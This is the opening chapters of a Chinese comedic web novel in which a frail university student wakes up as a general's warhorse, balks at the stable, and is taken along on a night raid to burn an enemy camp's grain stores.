《我柔弱,却变成了战马?!》
1. 第 1 章
第1章
秋日午后,凉风习习。
大二历史系的学生们集体在操场上跑步,稀稀落落的人群中,只有一个人在慢慢走路。
体育是贯穿整个大一和大二的必修课,只针对身体异常、病、残、弱等特殊群体的学生开设以保健为主的课程。
宋铮,就是其中的弱者。
他打小身体底子就不好,别人发个烧两三天就痊愈了,他一个不慎就要进医院送急诊,连进ICU的次数十个指头都数不过来。
走了一圈,宋铮就开始气喘,眼前阵阵发黑。
有同学从他身边跑过,两张脸对比明显,一张面红红润,一张惨白如纸。
“喂,同学,你没事儿吧?”
“很有。”
......
马蹄卷起尘沙,马上之人一路奔袭十几公里亲自追捕叛国者,而后马不停蹄返回军营。
嘭!
叛国副将被丢落马下,披头散发狼狈不堪,自知落到大将军霍霁风手里绝没有生还的可能,他踉跄从地上爬起,握紧双拳,闭眼昂起头颅:“既然我落在了将军手里,那么要杀要剐,悉听尊便!”
霍霁风翻身下马,抽出锃亮的长刀。
“将军且慢——”一人从军营冲狂奔而来,焦急地伸出尔康手,“将军刀下留人啊——”
“留不了一点。”
手起刀落,叛国者人头落地。
平整的脖颈切口狂飙鲜血,仿佛间下了一场漫天血雨,顷刻就渐了霍霁风与来人满脸,血水顺着坚毅的下颌滴落在甲胄之上,面前的尸体直挺挺倒下,黄土地被浸润出大片深色。
“哎呀!哎呀!”军师高崇山拍大腿,“将军,您行事太冲动了,怎么说砍就砍,孙成虽然投递叛国,但总有办法叫他将计就计,再给北梁下套,岂不是能出奇制胜?”
马夫阿冬也赶来了,看见血腥场面捂住嘴干呕了两声,牵过将军的坐骑到一旁。
不走,爱凑会儿热闹。
霍霁风收刀入鞘,满脸的血也不抹一把,像个活阎王:“投敌叛国的下场只有死路一条,就是阎王要他五更走,我也不肯留他到三更。”
高崇山无奈摇摇头,又点点头。
近年来诸国纷争不断,他们大澜国亦是边关战事频频,尤其是北梁,三天两头的来挑衅,但是定朔关有将军坐镇,在与北梁的战事上他们还真没吃过什么大亏,留不留人确实也不打紧,心里这么想着,高崇山又看向将军。
霍霁风在行事上看似粗野,多像莽夫,实则肚子里诡计多端,高崇山这个军师有时候还当得自愧不如。
“看来将军已经处置了,”副将夏戎上前一抱拳,扫过地上的尸首,没有任何惊讶,这是他们将军一贯的铁血作风,能砍了就绝不留活口。
霍霁风吩咐士兵将尸首吊起来,就吊在军营门口,杀鸡儆猴,看以后还敢不敢有人投递叛国。
小兵们动作很利索,一颗人头、一具尸体就那么血淋淋地挂上了,空气里充斥满血腥味。
事情处理完毕,大伙儿也该散了,但是霍霁风一回头,两道剑眉倏地拧起,他身上杀气太重,即便五官轮廓俊逸也被那股杀伐气掩盖了相貌,旁人总是第一时间只能感受到他的气势。
阿冬被震慑,双腿一软就跪了下去,大喊冤枉:“将军饶命,小的可没有投敌,小的可以对天发毒誓!”
其实霍霁风看的不是阿冬,而是阿冬身后的马。
“我的马怎么了?”
“啊?”阿冬木讷回头,也是一愣。
将军的专属坐骑,西域进贡的纯血统宝马此时此刻趴在地上,揣紧了两只前蹄。
按照正常情况,能上战场的马儿都是经过严格训练,能与主人配合默契,无惧刀光剑影,不怕血腥场面,在没有接触危险状态回到马厩之前,战马是不会随意趴下的。
阿冬刚牵过它的时候还是好好的,没留神马儿就趴下了,他急忙站起来拉扯缰绳:“快快起来,好马,快起来....”
说实话,宋铮也不想这样。
上一秒还在大学操场散步,下一秒眼前一黑就成了战马,见到了这辈子都没有见过的血腥场面,换谁谁不腿软?他没有晕血昏倒都属于万幸了。
灵魂在颤抖,脑袋在发晕,常年病弱的体质让灵魂也深刻进了病弱状态。
穿成矫健战马又怎么样,照样虚弱得不行。
一匹成年战马体重足有四百到六百公斤之间,哪是阿冬硬拽能拉起来的,阿冬着急地围着宋铮转了一圈,没有发现任何受伤:“将军,乌云没有外伤,平日的吃食也没有变化,突然这样,小的暂时看不出个所以然来....”
“我来!”霍霁风拿过阿冬手里的缰绳,常年握兵器布满了老茧的手掌抚摸着马儿脖颈,先作安抚。
马的视野范围很广,但也有盲区,正后方、正前方鼻梁处和头部正下方是它卡不见的地方,所以刚才只见叛徒身首异处,血溅三尺,却没有看见霍霁风的正脸,这人一到他侧面他就看了一清二楚。
此人魁梧高大,剑眉凶目,血染盔甲,妥妥的雨夜屠夫。
宋铮受惊发出嘶鸣,仰脖晃脑,四只蹄子蹬着地面往后挪,也不适应突然变马,控制不住成年壮马500多公斤的体重,一下子就翻了个四蹄朝天。
要是有人脸,宋铮早憋红了,从来没有这么丢人过。
夏戎、高崇山、阿冬,甚至是刚好经过的一队巡逻兵全部上来帮忙,集体把马儿翻了过来。
宋铮重新趴着,揣着蹄子,气喘吁吁。
霍霁风很是纳闷。
他的爱马到底怎么了?
阿冬是专业马夫,也是将军坐骑的专属马夫,往上数三代家里都是养马的,马儿的身体状况、脾性他都了得非常清楚,虽说先前没看出来,但经过刚刚,心里有了个大胆猜测。
夏戎先说了出来:“将军,我瞧着乌云像是受了惊吓,您看您刚才摸它的时候它多抵触,又惊又怕,就是把它给吓翻了。”
“放屁!”缰绳还握在霍霁风手里,单膝半蹲抚摸着宋铮鬃毛,“我与它并肩作战、上阵杀敌数次也
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从未见它惧过,骁勇不差我军中将士分毫,可说我们是生死之交,怎么会突然怕了我。”
霍霁风骑过的战马有许多,乌云是他最喜爱的战马,没有之一。
不仅是乌云外表壮美,通体漆黑,毛发雪亮,更是他见过爆发力强悍,且耐力极好,奔袭百里都不会觉得疲惫的宝马。
夏戎这个直爽性子:“可我看着它就是受惊了,阿冬你说是不是?”
“这....”阿冬左右为难,觉得夏将军说的没错,又怕惹怒大将军,这了半夜也这不出个所以然来。
高崇山捋着下巴上的小撮胡子:“兴许.....”
“兴许,”夏戎又插话,大胆假设,“兴许还有更重要的原因,那就是乌云是被军营中的奸细下了药,身体虚弱才会没有安全感受惊,你们看它,气喘如牛,眼神萎靡,分明就是临死之相,将军,若它有个三长两短,还望将军节哀。”
就冲着这些话,宋铮仰直了脖子,前蹄撑住地面先挺起前半身,接着后蹄发力。
站了起来。
漆黑乌亮的眼睛瞪着夏戎。
感觉被将军爱马瞪了一眼的夏戎:“?”
“要我看,不过是它一时顽皮,耍耍性子,”霍霁风轻拍了两下,缰绳交到阿冬手里,叮嘱他好生照料,有任何问题随时来报。
宋铮跟着的阿冬来到马厩。
但死活不肯进去。
将军的坐骑有将军坐骑的高等待遇,有单独的马厩马槽、专属的马夫,但对于现代人宋铮来说,无疑是从天堂掉进地狱,一下子怎么适应得了。
马厩里铺着干净的干草,可是地上仍旧有灰尘,还有原马留下的马粪....
真脏。
这让他怎么下得去脚?
“我说你到底是怎么了?怎么跟将军出去一趟就换了性格了?”
要是其他马儿不听话,马夫会抽几下屁股威胁,可乌云是将军的马,阿冬又是老实人,他拗不过只能把马儿栓在马厩外面的木头柱子上,既能够得到马槽吃草料,也能喝上水。
栓好了马,阿冬提桶去打水,准备给马儿刷洗。
宋铮再次趴下来,揣蹄。
慢慢消化自己真的成为了一匹马的事实。
看过书本里穿人穿狗穿猫的,没见过有穿马儿的,是他上辈子毁灭了银河系吗?
马厩里还有许多隔着栅栏的战马,在他附近的一匹白马和枣红马特别聒噪。
白马:“老大,你怎么了?为什么趴下了?你伤了蹄子吗?”
枣红马:“老大,你为什么看起来非常虚弱的样子?”
白马:“老大,你快死了吗?”
枣红马:“我们身为战马,都做好了和主人一起上战场杀敌赴死的准备,尤其是老大,三月前被大将军选中,大将军□□跑死战死的都有上百匹马了,我早就料到老大会死得比我们早。”
白马:“安息吧老大。”
宋铮就是死了也被气活了:“我是有点虚弱,但我还没死。”
安息个鬼啊!
2. 第 2 章
第2章
阿冬像往常一样打来水给“乌云”刷洗,边刷边念叨最近的战事。
宋铮从只言片语里粗略地了解了这个国家,但他就是学历史的,历史朝代就没有大澜一国,要知道详情得查阅这个国家的官修史书,可他作为一匹马,别说国家的史书了,就是军营里随便一本军事书籍都接触不到。
他能干什么?
不死在战场上,能老死度过马儿的一生就是不幸中的万幸。
洗洗刷刷完毕,阿冬又牵住绳子引宋铮回马厩:“进吧,这天也不早了,你也随将军折腾了一天,好好休息。”
宋铮倒是想休息休息压压惊,但这马厩实在是住不了一点。
他踏着蹄子往后,时不时甩动脖子要把缰绳从阿冬手里抽回来,就是不肯进去,到处都是战马的地方自然是充满马的体味、残留的马粪味,就像不爱吃榴莲的人进了满是榴莲味的空间里,受不了。
除非把马厩上上下下、里里外外、认认真真去去味。
那他能勉强尝试着住一下。
而此刻。
马厩外面的空气比里头新鲜。
阿冬奇了怪了:“你怎么就不肯进去了?难道是性子又野了?”
“也不对啊,”阿冬挠脑袋,“虽说你以前性格野,可早就被驯服了,咱俩感情也深,我照顾你吃照顾你住,我可是除了将军以外你最喜欢的人了,怎么还不听我话了?”
宋铮嚼住缰绳,脑袋一仰一拽,阿冬被拽了个踉跄,身体往前冲差点栽了个跟头。
“还长脾气了?”阿冬站稳了,搓搓手拉住缰绳。
一人一马开始拉扯。
或者说,是阿冬单方面的拉扯。
500多公斤的体重,他能拉得动才怪,宋铮纹丝不动,只偶尔踢踏一下蹄子。
阿冬使出了吃奶的劲儿也没成功。
事出反常必有妖,阿冬放弃,蹲在地上川了会儿气,随后开始给宋铮做体检。
马的耳根和腋下是感受体温的最佳部位,首先就要判断它体温是否正常,阿冬伸手往宋铮腋下摸,宋铮蹄子一扬就要踹人,阿冬急急后退:“我是要看你体温热不热,不是伤你,你如何就要踹我了?”
这点宋铮确实不清楚,鸣叫一声后平静下来。
“不探你腋下也行,我摸摸耳朵根,可我没将军的身量,你得把脑袋低下来,可行?”养马人最懂马儿通人性,这也是阿冬总爱和自己伺候的马说话的原因,他与马儿熟稔了,马儿自然就愿意听话了。
宋铮低下头。
不得不入乡随俗,鼻子了哼出一声叹息。
阿冬触摸他耳根:“也不烫啊,体温很正常。”
接下来是检查马的鼻腔,是否干燥或者流出浑浊鼻涕,由此来判断战马是有没有感染风寒,除此外还可观察马的眼睑有无发红,若充血发红,可能是热病,若是苍白无血色,则有可能是内出血,这样的状况会使马儿虚弱、精神沉郁....
检查完以上,阿冬又尽职地开始按压宋铮的四肢,如果战马躲闪、颤抖,甚至发出痛苦的嘶鸣,可能是关节出了问题,亦或是肌肉受到损伤,身体疼痛会让马儿对外界的刺激格外敏感而显得胆小。
他还检查了马粪、饮食....
一系列操作下来,天都黑了。
宋铮趴下来,看着阿冬在马厩里忙活。
最终结论:“乌云”毫无问题。
可是怎么又又躺下了呢???
他俩大眼瞪小眼。
“平日里你不到戌时都不会躺下,今儿究竟出了什么问题?”阿冬实在是费解。
军营里的马匹是重要而又宝贵的战略资产,尤其是上战场伴随将士们出生入死的军马,更是比做后勤的马儿照料得更为细致,即便死后也会得到妥善安葬,给予尊重,更别说大将军的专属坐骑了,必须是军马中一等一的待遇。
阿冬一刻不敢懈怠,匆匆忙忙又去找了军营的兽医来。
兽医赶来,一通检查,摇了摇头。
阿冬的脸都惨白了:“秦老,您是说它不行了?”
秦老一瞪眼:“老夫是说它没有任何问题!”
“可把小的吓一个激灵,”阿冬松口气。
既然如此,他也有了自己的判断,养马训马多年,有马儿突然转性耍脾气也是有的,可能是跟着将军外出的时候遇上了中意的母/马,结果求而不得,导致它性情不稳定,又可能是受到了一点小刺激,过上两三天就好了。
总之,今晚他可以安心了。
“不愿意进去就不进去了,我看这天色,定然不会下雨,我就给你栓这儿,明早再带你去溜达,”阿冬拍了拍“乌云”,自顾睡觉去了。
宋铮仰头看星空,默默待着。
他从小身体弱,与周围的邻居的小孩儿、学校里的同学都玩不到一块,别人踢毽子、踢球、旅游...生龙活虎,他却弱不禁风,根本跟不上他们的节奏。
久而久之,身边没了朋友,于是最长做的活动就是看看书、电视剧、电影,养成了安静不爱动的性子。
不动,就不能通过锻炼提高身体素质。
提不高身体素质,就弱,弱了就进医院,恶性循环。
他也尝试过做些简单运动,可他还有运动型哮喘,所以这成了死结。
“哎.....”
叹气。
“老大,你看起来特别忧郁,”白马嚼着草料。
“我在怀念家乡,”宋铮望着夜空中的星星,“就算那边的日子也挺无聊的,也没有朋友,但好歹有书籍、网络,不至于像现在这样,比坐牢还惨。”
“惨?”白马不理解,“可是今天的禾草味道很不错。”
“黑豆也好吃,可香了,”枣红马也在嚼巴,吃完精粮饮了些水。
它看向沐浴着月光的老大,以前的老大威武雄壮、英姿飒爽,现在外表依然如初,就是没有那份感觉了。
奇怪,它怎么会有这样的错觉?
“噗噜噜....”枣红马甩甩脑袋,靠着干草躺下。
到了亥时。
几乎所有马儿都休息了,但还有部分处于精神奕奕的状态。
宋铮对马的习性了解不多,但多少知道点,比如马类每天的深度睡眠只需要2到3个小时,其余的睡眠会分多次、短暂的站立打盹儿来补充,因此和人类一觉到天亮不同。
不过这些不重要。
宋铮又叹了口气,他心里闷得特别厉害,就想马上出去透透气,否则就要憋死了。
他站起来叼住栓着柱子的绳子,然后不停扯动,弄松绳结,而阿冬也并没有栓得多死,之所以放心是因为整个马厩还有看守在,为了防止敌军偷袭或马匹受惊。
老话还说得好,
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“马无夜草不肥”,晚上值夜班的马夫会多次添加草料,马儿会在吃草的间隙里休息或打盹儿,这种多次少量进食会贯穿整个夜晚。
宋铮走到的门口,果然被守卫拦了。
不过一点儿不怕。
他不是敌军,更不是人,还在自家军营,作为宝贵的战略资产,不会有士兵上来欺负他。
见是“乌云”,守卫表情十分松懈,懒洋洋打了个哈欠,牵起宋铮要回马厩,宋铮不肯,坚持要往外走。
守卫看看同伴:“将军的宝马是几个意思?要出去溜达?”
“我看像,”另一守卫说,“要不就让它出去吧,它灵性得很,溜达溜达就回来了。”
“也是,驯服了的好马那是想丢都丢不了,上回我中箭昏迷,还是我那好“豆子”驮着我回来的,否则我这命就真交代了,”守卫也是爱马之人,旋即松开了手对宋铮道,“去把,溜达完就回来。”
宋铮迈出马蹄,甩了下尾巴,走出马厩的大门。
军营有望楼、岗哨、巡逻兵、各个营帐外还有士兵把守,任何风吹草动的都会被捕捉到。
一匹马在军营里闲逛,士兵们自然都看到了,马厩守卫都不管,他们也不管,只多打量两眼,好奇了会儿“乌云”怎么这么有闲心。
宋铮不知不觉走到一处草皮茂盛的地方,作为马的本能,他低头想去吃草,但灵魂作为人类,看到青草上蠕动的小虫,实在是下不了口。
马蹄踢踏了几下。
坚决不吃!
他扭头走开,经过一队巡逻士兵,凑巧来到了营地最中心,也就是被各级军官营帐层层围护的中军帐旁。中军帐外驻守着两名士兵,一名持着长枪,一名按着腰间的配刀,两名士兵站得毕恭毕敬、脸上表情严肃至极。
一有动静,凌厉的眼神嗖地射向宋铮,一看是马,收回视线。
经历过白天亲眼见过霍霁风杀人的场面,这点眼神,宋铮已经不惧了。
他来到中军帐是嗅着气味来的。
眼前的士兵,胸口的衣服里藏着胡萝卜。
马儿嗅觉强大,又恰好他有点饿了,嗅着气味走着走着就来了,嘴巴不由自主蠕动了几下。
士兵刚才扫过他一眼后,已目不斜视,站得和雕像没什么两样。
中军帐内有要事商议,上司头头都在里面,他们哪里敢懈怠。
宋铮打了两个响鼻,踏着蹄子在士兵面前徘徊,他等来等去没有等待士兵掏出胡萝卜喂他,倒是等到霍霁风出了营帐。
霍霁风穿了一身墨色劲装,说白了就是夜行衣,以他的身量这么一穿更是体魄凛然。
跟随他出来的还有副将夏戎、陆十九、先锋魏常、参军王秀兰以及高崇山,除了高崇山与王秀兰,其余人与霍霁风着装相同。
摆明着要偷袭去。
太危险了。
宋铮扭头就走,缰绳却被霍霁拉住了,霍大将军的锐利鹰眸里划过一丝诧异与感动。
前些天他就计划偷袭北梁军营,烧了他们粮仓,断他们的后路,说这些时没有避讳他的马,而他们日日都有相处,定是感受到了他的情绪,这才来了。
霍霁风抚摸着宋铮鬃毛:“好兄弟,不愧是本将军挑中的良驹,心有灵犀,知道今夜要去偷袭,势要与我同去。”
宋铮:“........”
可拉倒吧。
3. 第 3 章
第3章
马匹是战争中的重要资产,但也划分等级,就以汉代为例,汉代因对抗匈奴,极度重视战马的质量,他们按照 “血统纯度” 划分三级。
一级马是来自西域的纯血良马,如大宛马、乌孙马,爆发力强,短途冲刺远超草原马,并且对骑手的身体信号极为敏感,适合精细的战术动作,所以它们被专供重骑兵冲锋或将军坐骑,数量也相对少。
二级马是朝廷官苑培育的混血马,是西域马和本地马的混血,速度与耐力平衡,常作为侦察马或轻骑兵坐骑。
再说三级马,是地方征收的杂马,体型小但温顺,用于后勤运输,配备给步兵部队或辎重营。
但不管怎么划分,按照功能来定,就是冲锋陷阵、轻骑、后勤这么三大类。
宋铮用马蹄子想也知道。
他妥妥属于第一类。
他被霍霁风牵住,犹如被死神掐住了脖子,想演个“中度虚弱”回马厩去,但躲得过一时躲不过一世,如果长期“虚弱”下去,哪怕他是纯血统的西域宝马也得沦落为三级后勤马去运送物资。
到时候和80年代码头扛麻袋有什么区别?
他吃不了这个苦。
高崇山吩咐士兵又牵来几匹马,其中就有聒噪的枣红马和白马。
“老大!”白马很是兴奋,“原来你早知道将军们要出门,怪不得先跑出来了。”
果然,来老大还是老大,智慧超群、英明神武,”枣红马甩着尾巴,嘴巴齁甜齁甜,“我还以为你变了呢。”
马儿们自身之间也有等级意识,强悍的马会被称为“头马”,宋铮初听它们喊老大就明白了。
“你们俩叫什么?”先前还没问过。
白马:“我叫阿白。”
枣红马:“我叫阿红。”
两匹马脑子都很简单,丝毫没有疑惑为什么老大要问他们名字。
宋铮心说还挺好记。
阿红:“当初老大你也不叫乌云,大将军想了好久,给你取名乌鸦。”
宋铮:“.......”
取名这么废吗?
阿红:“后来高军师坚决不不同意,说乌鸦这名字不吉利才改成了乌云,老大,乌鸦为什么不吉利?”
宋铮简单解释,这时霍霁风已给他套上了马鞍。
已是骑虎难下,不得不去了。
霍霁风一声令下:“出发!”
一行共五人,霍霁风、夏戎、陆十九,还专门挑选了两名身材精瘦、动作敏捷的士兵,出了自家军营,所有人齐齐翻身上马。
霍霁风轻喝:“恰!”
四匹马一同冲出去。
为什么只有四匹?因为还有一匹马站在原地没有动,那就是宋铮。
他第一次被人骑,灵魂上觉得有羞耻,而抛开耻辱感不谈,在霍霁风坐上他马背的一刹那,好像一座山陡然从天空中压了下来,他差点就一个踉跄跪下去。
外表的健硕壮美和力量不一定成正比,前年宋铮就亲眼见识过,他与表姐,表姐的男朋友一起在饭店里吃饭,有小混混找事,要他们让出靠窗座位,小混混一米七左右,身材精瘦,表姐的男朋友是健身教练,一米八,浑身腱子肉,结果被小混混揍了,肌肉就是蛋白粉堆出来的,中看不中用。
他现在与表姐的男友差不离,外表看着强,实际体力草包。
要不是身体换成了马,又该进ICU了。
宋铮低着头喘气:“霍霁风....你太沉了。”
战场上杀出来的男人,真刀真枪干出来的体魄,肌肉那叫一个邦邦硬,又是一米九,分量是绝轻不了的。
霍霁风再次轻喝:“恰!”
宋铮深吸气,渐渐适应霍霁风的重量,迈开蹄子。
哒哒哒.....
“恰!”霍霁风用小腿轻夹马腹,示意马儿加速,同时手里的缰绳往前送出,以免马在伸展脖子和身体时被死死勒住而感到痛苦,他也身形前倾做冲刺状。
哒哒哒....
宋铮很匀速。
“恰!”
哒哒哒.....
“恰!”
哒哒哒....
跑了一阵,霍霁风是个瞎子都看出来了,他的乌云没有听指挥。
往常它跑起来都是风驰电掣,爆发出了自身西域马的强悍和矫健,这会儿倒像个文弱公子在月色下闲庭信步。
用霍霁风的话说,娘们儿兮兮的。
但细一想,马儿反常不是没有理由,霍霁风俯身抚摸着宋铮:“好乌云,难道你是担心我今夜会出师不利,不愿我去才跑得如此慢?”
宋铮不搭理他。
说他想和他一起去的是霍霁风,说他不愿意他去的还是霍霁风。
什么都让你说了,我还说什么?
说了你也听不懂。
自顾自,哒哒哒....
霍霁风视“乌云”是出生入死的兄弟,是伙伴是战友,当即安抚他:“今夜行动前,我早派斥候营校尉带着三个老兵探清楚了北梁的军营布防,计划也布置得周密,保准万无一失,你尽放心。”
还是哒哒哒...
这番话没什么作用。
霍霁风:“.......”
.....
夏戎、陆十九等人早就一骑绝尘,没入了浓浓黑色之中。
跑了好一阵他们才发现,将军不见了。
“吁——”陆十九拉住缰绳停下,往身后的密林中观望,没有任何动静。
夏戎也刹住马,驱着马儿往回跑了几步:“怎么了?怎么都停了?”
陆十九沉着脸:“将军不见了。”
“什么?!”夏戎这个马大哈才惊觉,数了数人数,一脸懵逼:“是啊,将军人呢?不是说好了去偷袭,怎么将军还不见了?”
夜行的两名士兵也面面相觑,十分莫名。
夏戎:“不会是将军想独自行动,于是撇下我们抄别的路去北梁军营了?”
“不可能,”陆十九很笃定,“出发前将军与我们仔细商议了行事计划,怎么会临时变卦,还不支会一声。”
“糟糕!”夏戎脸色大变,“定是北梁的奸细提前得知了计划,半路把将军给捋走了!我去救将军!恰!”
夏戎说着就要往回冲,陆十九立即驱马上前拦住这个憨货:“将军哪是说能掳走就掳走的,你当将军是纸扎的?”
夏戎:“这....
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陆十九:“我们且等等。”
一名士兵当即下马,趴在草地上伏地听声,边听边汇报:“二位将军,西南方向,五里之外有蹄声传来,正朝着我们....算是疾驰吧。”
以两国交战点为中心,大澜国的军营驻扎在东南方向,一路向北就是北梁军营,但是为了行动隐秘,他们特意从西南边绕行,也正是刚才来的方位。
陆十九:“多少人马?”
士兵:“回陆副将,马蹄声单一,依属下判断,仅一人一骑,约莫一盏茶的功夫就能追上我们了,不过...”
夏戎捉急:“不过什么?”
士兵说:“不过我们得原地等,他才追得上。”
陆十九沉吟片刻:“一人一骑,那应该就是将军了。”
夏戎脱口:“可为什么将军要跑这么慢?”
“.......”陆十九,“你问我,我问谁?”
不多时,一人一骑出现在了夏戎与陆十九的视线范围内,的确是他们的将军,但是用了不到一盏茶的功夫就追上了。
宋铮提升了速度,跑得气喘吁吁,头晕目眩,不是霍霁风以为的他担心他,而是霍霁风无意说的一句话“回去后会犒劳他”给了他拼劲儿。
见将军赶上,夏戎等人旋即调转方向,继续前行。
正当宋铮觉得自己下一秒就要猝死的当口,一行人终于停了。
太靠近敌营会引起北梁侦察的兵的注意,因此马匹不能再往前,宋铮被栓在了林子里,目送着霍霁人等人的身影悄无声息地没入黑夜之中。
宋铮再一次躺下来,靠着粗壮的树干,气若游丝。
完全脱了力了。
为了防止被暗中监督和偷袭,军营驻扎地通常都会选择地势高处,北梁也不例外,而军营两侧就成了薄弱区,其中一侧靠近河套。
五人往河套方向潜行。
对北梁军营布防他们已了然于胸,外围插着十二根火把,对应十二个固定哨位,每隔一炷香的时间会吹一次牛角号报平安,这是明哨。此外还设有暗哨,每隔两炷香,就有两队巡逻兵从东西两侧对向而行,两队重逢时,恰好西南角的矮坡成了无人盯守的空白区。
五人抵达西南方位,借着及腰的狼尾草隐藏身形,摸索到了鹿砦旁。
霍霁风拨开狼尾草:“前些天连日暴雨,冲垮了他们的鹿砦,我特意命人暗中做了手脚,看着结实,实则不堪一击。”
说着就轻轻松松捣毁出一个洞来。
夏戎愕然:“将军,这好像狗洞啊!”
霍霁风:“大丈夫能屈能伸,不拘小节。”
夏戎:“可是我堂堂七尺男儿,将来传出去我钻狗洞,讨不到媳妇儿。”
“讨媳妇儿有什么好,别磨磨唧唧,拿上!”霍霁风拿出事先准备的浸透盐水的布条和裹靴底的羊皮,布条可以?衔着防止喘气出声,羊皮裹着脚底能减少响动。
扎好羊皮,陆十九一脚蹬在夏戎屁股上:“钻你的吧。”
五道黑影混入了军营,随后分两组行动。
....
林子里的宋铮一直缓不过来,只觉心脏突突跳、脑袋晕眩、口干舌燥,没有一口水的话他就要死了。
4. 第 4 章
第4章
感觉要死和真的要死还是有时间差距的。
宋铮努力喘了两口气,重新站起来,低头吃草的阿红和阿白扭头看他,见老大一副虚脱的样子很不解,嘴巴还不停往树干上凑,叼住栓马绳试图扯开。
“阿大,你在做什么?你要当逃逃兵马??”阿白很震惊,“我们与主人生死与共,逃跑的马会被主人和马群唾弃。”
宋铮说话都费劲:“我得去找口水喝。”
第一次穿越,没有适应,刚来又被霍霁风一刀砍下人头的血腥画面震得心神俱颤,哪有心情吃东西,他没嚼过一口草料,没喝过一口水。
“原来如此,”阿白甩甩脑袋,“那没事了。”
阿红有疑问:“老大,你为什么不吃草,新鲜的草也是补充水分的重要来源,你赶紧吃。”
宋铮低头看草。
经过内心强烈挣扎。
不吃。
犟种一枚。
他解开了栓在树上的绳子:“我去附近找找水源。”
阿红和阿白叮嘱他快去快回。
.....
霍霁风与夏戎为一队,陆十九带着两名士兵为一队,各自沿着帐篷的阴影呈“之”字形行走。分两队的好处是万一被发现,不至于被一锅端,要是两队都潜入顺利,那么能对粮草营的守卫进行前后夹击。
行过岗哨处,火把晃动,值岗的哨兵警觉。
霍霁风挑起地上的一块石子掷向远处,哨兵前往那头查看,二人借机猫腰穿过十米宽的空场,迅速没入帐篷的阴影里。
陆十九那边也算顺利,三人躲过了多重巡逻来到了敌营中轴位置,恰好又遇上迎面而来的巡逻队。陆十九抬手示意停下,紧急趴入一辆废弃的辎重车底下,巡逻兵的靴子从他们眼前经过,三人将呼吸压在喉咙里。
待巡逻兵走远,陆十九模仿了一声夜枭叫,表示己方安全。
集体继续移动。
粮草营是军营重要的核心,不仅守兵比别处多三倍,甚至还拴着三只牧羊犬。
此时两队人都到了,一队在前,一队在后,陆十九示意一名士兵去做诱饵,待闹出点响动后就迅速撤离。
片刻,三只牧羊犬狂吠起来,士兵牵着牧羊犬去巡视,趁着这个间隙,埋伏在粮草营后方的霍霁风从怀里摸出一把晒干的艾草,捏碎了顺风一撒,艾草的辛辣可以盖住人的气息,短时间内不会让牧羊犬折返。
二人靠近粮草营,悄无声息迅速解决掉后方的守卫。
粮草营前方,一颗石子咕噜噜滚到了一名守卫的脚边,他刚低头,便被身后的黑衣人捂嘴抹了脖子,陆十九带的另一名兵也干脆利落解决完其余看守。
两队人汇合。
“看你了,”霍霁风对夏戎说。
夏戎有过一段只有将军知晓的艰苦过去,八岁那年他失去了双亲,颠沛流离,后来被一家民间的杂耍团强行入拉伙,做的是走南闯北的卖艺营生。可杂耍团表面是正经卖艺人,背后却干着偷鸡摸狗的勾当,因此他也学了门倒腾开锁的手艺。
能偷着价格不菲的物件,团主就赏他一个窝窝头一碗粥,要是偷不着,就得狠狠挨一顿毒打。
一直到十岁,夏戎从没人性的杂耍团里逃了出来,小小年纪就投了军。
“好嘞,”夏戎从腰带处取出一根细小的铁丝,是用丢弃的箭镞打磨而成。
他蹲在锁前,耳朵几乎贴到锁上,然后轻轻地捻动铁丝,只听“咔哒”一声轻响,锁开了。
一名士兵负责在门口把手,霍霁风与夏戎、陆十九闪入营内。
“动作快,”霍霁风道。
陆十九身上背着一个小包袱,里头装满浸了火油的布条,他拆开包袱,与夏戎一起将布条悉数塞入粮草堆里。
霍霁风抽出匕首,借着粮草堆一跃,割开了帐顶的毡布。
如此点火后好让烟往上蹿,火油是从伤兵的药膏里提炼,没有烟味,可以延缓被发现的时间,风再往营帐里一灌还能加大火势。
“走!”火折子刚点燃,霍霁风立即下令。
他们离开粮草营,没有原路折返,而是冲向粮草营西侧的马厩,砍断了战马缰绳故意惊吓马匹,马匹受惊四处乱蹿,恰好可以干扰敌军的视线。
一处哨兵已长吹牛角号示警。
“有敌兵偷袭军营——”
号角一声接着一声,守夜的巡兵们集体冲向马厩
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,这一招也是声东击西,再一次拖延了粮草营火烧时间。
而这会儿霍霁风几人早离开了军营。
站在高地瞭望,敌营中火光冲天,顺着马厩西面方向追捕的士兵们也被紧急召回去救火,可谓兵荒马乱。
夏戎:“烧了他们的粮草,可得让他们消停好一阵子了。”
霍霁风远远望着,火光映在眼底,却没有半分得意,只道:“走吧。”
....
宋铮走啊走,终于找到了水源,喝过水后状态好了许多。
他所在的位置正是北梁军营西面的河套处,不过他刚来,哪里了解这里的位置,忽然,有什么黑影从二十米开外闪过。
宋铮抬起头,马的视野很广,除正前方与正后方有小部分死角,可以说几乎接近360度。
和人类相反的是,它们静态视觉较差,反而动态视觉极佳,能捕捉到远处的细微动静,如鸟儿起飞,野兽匍匐等。
不过黑影闪得太快,宋铮刚察觉就不见了。
于是刚刚好与霍霁风等人错过。
宋铮又低头喝了几口水,喝完水往回走,走着走着呆住了。
前后左右的草丛和林子看起来都一样,他忘了自己是从哪条道来的,更分不清东西南北方向。
好在他夜视能力强,能看到来时踩过的一些马蹄印和折断的草丛。
于是凭着判断慢慢走。
*
北梁人不是吃干饭的,在吃了数次败仗之后派了一位亲王名叫赵阔的人来指挥战役,这位亲王虽然打仗经验少,但看的兵书多,心思缜密,很会揣摩人心与用计。
在将士们还在痛骂大澜人卑鄙时,赵阔已猜到马厩的混乱是障眼法,看似敌人偷袭军营,牵了他们的马匹离开,实则另有退路。
赵阔当即带着一队精锐,冲进河岸附近的林子里去追。
两条腿疾行怎么比得上马儿的四条腿奔跑,马蹄声由远及近,很快就要被追上了,夏戎用糙话骂了声,幸好他们也到了栓马的地方,骑上自己的马匹就能甩掉追兵。
但是。
原来的五匹马只剩下了四匹。
霍霁风眼神一戾:“老子的马呢?!!”
5. 第 5 章
第5章
做诱饵引开牧羊犬的士兵是最先离开的北梁军营,也是最先回来的,他如实禀告:“回将军,属下来的时候就没见着乌云,也正纳闷它去哪儿了?”
夏戎:“难道是北梁的人早我们一步发现了马匹?”
“不对,”陆十九道,“假若是北梁的人赶在我们前面要断我们去路,怎么会只带走乌云,而不是所有的马?”
追兵的马蹄声已近在咫尺,容不得他们再多做商议。
霍霁风下令:“你们先走!”
“将军,”士兵单膝跪地,双手抱拳, “属下甘愿断后,请将军上马。”
夏戎:“还是用我的马,断后这种事让我来,我可好几天没活动活动筋骨了。”
陆十九也欲开口,霍霁风握起面前士兵的胳膊,当即将人甩上马背:“这是本将军的命令,违令者军法处置!走!”
